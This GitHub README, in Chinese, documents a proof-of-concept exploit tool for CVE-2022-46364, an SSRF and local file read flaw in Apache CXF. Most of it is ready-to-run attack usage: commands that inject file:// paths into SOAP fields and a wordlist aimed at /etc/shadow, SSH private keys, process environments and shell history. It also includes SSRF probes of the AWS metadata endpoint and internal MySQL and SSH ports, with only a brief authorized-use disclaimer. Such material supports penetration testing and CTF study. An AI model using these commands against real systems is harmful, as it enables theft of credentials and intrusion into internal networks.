0xmid00/CVE-2022-46364-poc

GitHub: 0xmid00/CVE-2022-46364-poc

针对 Apache CXF XOP:Include SSRF/本地文件读取漏洞的自动化 PoC 利用工具,支持字段自动检测和文件路径模糊测试。

Stars: 0 | Forks: 0

# CVE-2022-46364 — Apache CXF XOP:Include SSRF / LFI **作者:** 0xmid00 **漏洞:** 通过 MTOM 请求中的 XOP:Include 实现 SSRF / 本地文件读取 **受影响版本:** Apache CXF < 3.5.5 和 < 3.4.10 ## 漏洞详情是什么? Apache CXF 会处理包含 `XOP:Include` 元素的 MTOM (Message Transmission Optimization Mechanism,消息传输优化机制) 消息。 `XOP:Include` 的 `href` 属性本应引用同一 MTOM 多部分消息中的附件。 然而,在受影响的版本中,CXF 会跟随 `href` 中提供的**任何 URI**,包括: - `file:///etc/passwd` → 读取本地文件 (LFI) - `http://127.0.0.1:PORT/` → 探测内部服务 (SSRF) 攻击者只需发送一个包含**至少一个任意类型参数**的 SOAP 请求即可触发此漏洞。 ## 环境要求 ``` pip install requests ``` ## 用法 ``` python3 exploit.py -r request.txt [options] ``` ### 参数 | 参数 | 描述 | |------------------|----------------------------------------------------------| | `-r, --request` | 原始 HTTP 请求文件的路径 (必填) | | `--mode 1` | 使用 /etc/passwd 自动检测可注入的 XML 字段 | | `--mode 2` | 对文件路径字典进行模糊测试 | | `--field NAME` | 指定要注入的 XML 字段 (跳过自动检测) | | `--wordlist PATH` | 模式 2 所用的文件路径字典位置 | | `--read PATH` | 读取单个指定文件 | | `-v, --verbose` | 显示详细的请求信息 | ## 请求文件格式 将抓取到的原始 HTTP 请求原样保存到一个 `.txt` 文件中 (例如使用 Burp 抓取的数据): ``` POST /employeeservice HTTP/1.1 Host: devarea.htb:8080 Content-Type: text/xml; charset=utf-8 SOAPAction: "" Connection: close Content-Length: 487 false test IT john ``` 该漏洞利用工具会自动将其转换为 MTOM 格式 —— 您无需手动进行此操作。 ## 示例 ### 模式 1 — 自动检测所有可注入字段 ``` python3 exploit.py -r request.txt --mode 1 ``` 尝试将 `file:///etc/passwd` 注入到每个叶子 XML 元素中,并报告哪些字段成功返回了文件内容。 ### 模式 1 — 测试特定字段 ``` python3 exploit.py -r request.txt --mode 1 --field content ``` ### 模式 2 — 模糊测试文件 (首先自动检测字段) ``` python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt ``` 首先运行模式 1 以寻找可注入字段,然后通过该字段对字典中的所有路径进行模糊测试。 ### 模式 2 — 使用已知字段进行文件模糊测试 (速度最快) ``` python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt ``` 跳过字段检测,直接进入模糊测试阶段。 ### 读取单个文件 ``` python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa ``` ## 字典示例 (lfi.txt) ``` /etc/passwd /etc/shadow /etc/hosts /etc/hostname /proc/self/environ /proc/self/cmdline /home/dev_ryan/.ssh/id_rsa /home/dev_ryan/.bash_history /home/dev_ryan/.bashrc /root/.ssh/id_rsa /root/.bash_history /var/log/auth.log /var/log/syslog ``` 您也可以使用 SecLists: ``` /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt ``` ## 工作原理 1. 解析原始 HTTP 请求文件 2. 在 SOAP 正文 (body) 中定位目标 XML 字段 3. 将其内容替换为 `` 4. 将请求包装为 MTOM 多部分格式 (激活 CXF 的 XOP 处理器所必需) 5. 发送请求 —— CXF 获取文件并返回其 base64 编码的内容 6. 解码并打印结果 ## SSRF 模式 若要探测内部 HTTP 服务而不是读取文件: ``` python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/ ``` 或者使用任意内部 URL 编辑 `--read` 的值: ``` --read http://169.254.169.254/latest/meta-data/ (AWS metadata) --read http://127.0.0.1:3306/ (MySQL) --read http://127.0.0.1:22/ (SSH banner) ``` ## 免责声明 本工具仅供授权的渗透测试和 CTF 比赛使用。 作者不对任何滥用行为承担责任。
标签:Apache CXF, CISA项目, CVE-2022-46364, IP 地址批量处理, LFI, Maven, MTOM, PoC, Python, SOAP, SSRF, Web安全, XML外部实体, XOP:Include, 信息泄露, 内网探测, 插件系统, 文件读取漏洞, 无后门, 暴力破解, 服务器端请求伪造, 本地文件读取, 漏洞验证, 网络安全, 网络安全审计, 蓝队分析, 逆向工具, 隐私保护